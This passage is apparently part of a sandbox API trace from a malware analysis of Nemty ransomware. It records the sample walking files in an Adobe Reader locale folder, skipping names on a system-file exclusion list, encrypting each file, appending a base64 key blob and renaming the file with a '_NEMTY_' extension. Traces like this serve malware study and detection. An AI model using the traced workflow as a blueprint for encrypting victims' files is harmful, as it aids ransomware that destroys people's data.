RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.458] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DigSig.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\digsig.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DigSig.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\digsig.cht._nemty_kgobjgd_")) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.459] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.CHT", cAlternateFileName="")) returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2=".") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="..") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="...") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="windows") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="rsa") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="NTDETECT.COM") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="ntldr") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="MSDOS.SYS") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="IO.SYS") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="boot.ini") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="boot.ini") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="ntuser.dat") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="desktop.ini") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="CONFIG.SYS") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="RECYCLER") returned -1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="bootmgr") returned 1 [0186.459] lstrcmpiW (lpString1="DVA.CHT", lpString2="programdata") returned -1 [0186.460] lstrcmpiW (lpString1="DVA.CHT", lpString2="appdata") returned 1 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHT", lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHT", lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHT", lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0186.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHT", lpUsedDefaultChar=0x0) returned 7 [0186.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.460] Sleep (dwMilliseconds=0x5) [0186.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c9d810, dwHighDateTime=0x1d561e8)) [0186.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c9d810, dwHighDateTime=0x1d561e8)) [0186.465] GetLastError () returned 0x0 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.465] GetLastError () returned 0x0 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.465] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.465] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="dW100Lg+QtLeGgGEwAHGEKSoPU1Vl57yUmeGDHe/sNgvs7fp2O4MTvAzXDr5uJpu\r\ngdRsBeyTBud+sWIvn2pt96yq+l36eHrpd3Ekx89quh8CN08kck1mNLvx+riUjgTW\r\nqT5xyK9qMm4k/tbZxDYCeF7LIvKOiJm5zFguArr6ht06CKny+KO/1Bbo6GbTQ0uX\r\nR/yiaUsgCsKafrDHuj2u6OTUvdjdikKNl8+AeCH9KlWw2tSyR0ank+mjnwndYLHN\r\nQ+tE7NlRQGZE46nPPmYY3F13A1sbbFB4dW6T6fPVDPox9YBR6ul/Y6tvwUq8eW6E\r\nRXvyszz9fJ6W2FKcTnSWlg==\r\n", pcchString=0x653e5dc) returned 1 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DVA.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\dva.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.466] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0186.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0186.466] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.466] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0186.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.469] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0186.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0186.469] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.469] CloseHandle (hObject=0x2e8) returned 1 [0186.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0186.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.469] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DVA.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\dva.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DVA.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\dva.cht._nemty_kgobjgd_")) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.470] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.CHT", cAlternateFileName="")) returned 1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2=".") returned 1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="..") returned 1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="...") returned 1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="windows") returned -1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="rsa") returned -1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="NTDETECT.COM") returned -1 [0186.470] lstrcmpiW (lpString1="eBook.CHT", lpString2="ntldr") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="MSDOS.SYS") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="IO.SYS") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="boot.ini") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="boot.ini") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="ntuser.dat") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="desktop.ini") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="CONFIG.SYS") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="RECYCLER") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="bootmgr") returned 1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="programdata") returned -1 [0186.471] lstrcmpiW (lpString1="eBook.CHT", lpString2="appdata") returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.471] Sleep (dwMilliseconds=0x5) [0186.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22cc3970, dwHighDateTime=0x1d561e8)) [0186.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22cc3970, dwHighDateTime=0x1d561e8)) [0186.480] GetLastError () returned 0x0 [0186.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.480] GetLastError () returned 0x0 [0186.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.480] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.480] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.481] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="IS2D91mLIAfZLVT008ZrXxid3y7QxUemxrbyhGp01QIvjHmZO0CcndMViAo2QL2b\r\nc+y7tf+3hrJikyzTwP2T7l6lp8+XUE+QZbDgfLhNwt3Zbv5Lyf/2Y+RG68+I6IRl\r\nWiUAhzvQYDV945hgkGIwwSmPuzeQX4qAo65GUt67vSUGC+tcKRs8lNOPsWy2sHrz\r\n5sOZupcwY52HgJM76oRhPU4LfA8oOVQU8ifs4QgzTzum+8XT2t4W1U415y39nBiU\r\nhtk60n/KVvPAFxUVsBuohoiHvI+d44lK13nKaxSRA8y0R3FOds2yu9WJS3+JAoTD\r\ndCz+I5t0dAoGLKUcqReXdQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\eBook.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ebook.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.481] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=5632) returned 1 [0186.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1600) returned 0x6352c48 [0186.481] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.481] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1600, lpOverlapped=0x0) returned 1 [0186.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.483] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1600, lpOverlapped=0x0) returned 1 [0186.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=5632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1600 [0186.483] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.484] CloseHandle (hObject=0x2e8) returned 1 [0186.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.484] HeapFree (in: 